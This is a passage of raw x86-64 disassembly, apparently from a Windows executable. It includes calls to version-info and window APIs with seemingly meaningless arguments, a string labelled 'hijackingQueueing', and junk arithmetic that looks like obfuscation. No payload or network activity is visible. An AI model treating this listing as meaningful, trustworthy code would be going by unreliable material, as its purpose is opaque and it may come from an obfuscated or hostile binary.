movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
or eax, ecx
mov word [rsp + 0x12cc], ax
lea rdx, [rsp + 0x5500]
mov rcx, qword [rsp + 0xbda0]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x5470], eax
mov edx, dword [rsp + 0x543c]
movzx ecx, word [rsp + 0x12d4]
call fcn.140213c40
nop
jmp 0x14021360d
movzx eax, word [rsp + 0x12c8]
mov dword [rsp + 0xaf5c], eax
cmp dword [rsp + 0xaf5c], 0x67
je 0x14021356b
jmp 0x1402135f4
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
movsx ecx, byte [rsp + 0x194]
cmp eax, ecx
jle 0x1402135d3
movsx eax, word [rsp + 0x12d4]
sub eax, 0x240a
mov word [rsp + 0x12d8], ax
lea rdx, [rsp + 0xbc08]
mov rcx, qword [rsp + 0xbda0]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x5450], eax
mov rdx, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xbbd8]
call fcn.140213740
nop
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
add eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
jmp 0x14021360d
mov eax, dword [rsp + 0x5450]
mov ecx, dword [rsp + 0x5448]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x543c], eax
lea rax, [rsp + 0x5430]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xbc10]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x12c8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x321a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbda0]
mov r8, qword [rsp + 0xbda0]
lea rdx, str.hijackingQueueing
mov ecx, reloc.SHELL32.dll_ILClone
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x543c], eax
movzx eax, byte [rsp + 0x195]
and eax, 0x1f
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rcx, qword [rsp + 0xbda8]
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rsp + 0xbe80], rax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x194]
sub eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbd8]
shr rax, 0x18
mov qword [rsp + 0xb800], rax
lea rdx, [rsp + 0x12c8]
mov rcx, qword [rsp + 0xbbc8]
call qword [sym.imp.USER32.dll_GetWindowPlacement]
mov dword [rsp + 0x5500], eax
movabs rax, 0x568cfad5ce148da9
mov rcx, qword [rsp + 0xbbb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbb8], rax
movsx eax, byte [rsp + 0x194]
add eax, 0x49
mov byte [rsp + 0x194], al
movsx eax, byte [rsp + 0x194]
sub eax, 0x64
mov byte [rsp + 0x194], al
mov eax, dword [rsp + 0x6170]
add rsp, 0x459a8
ret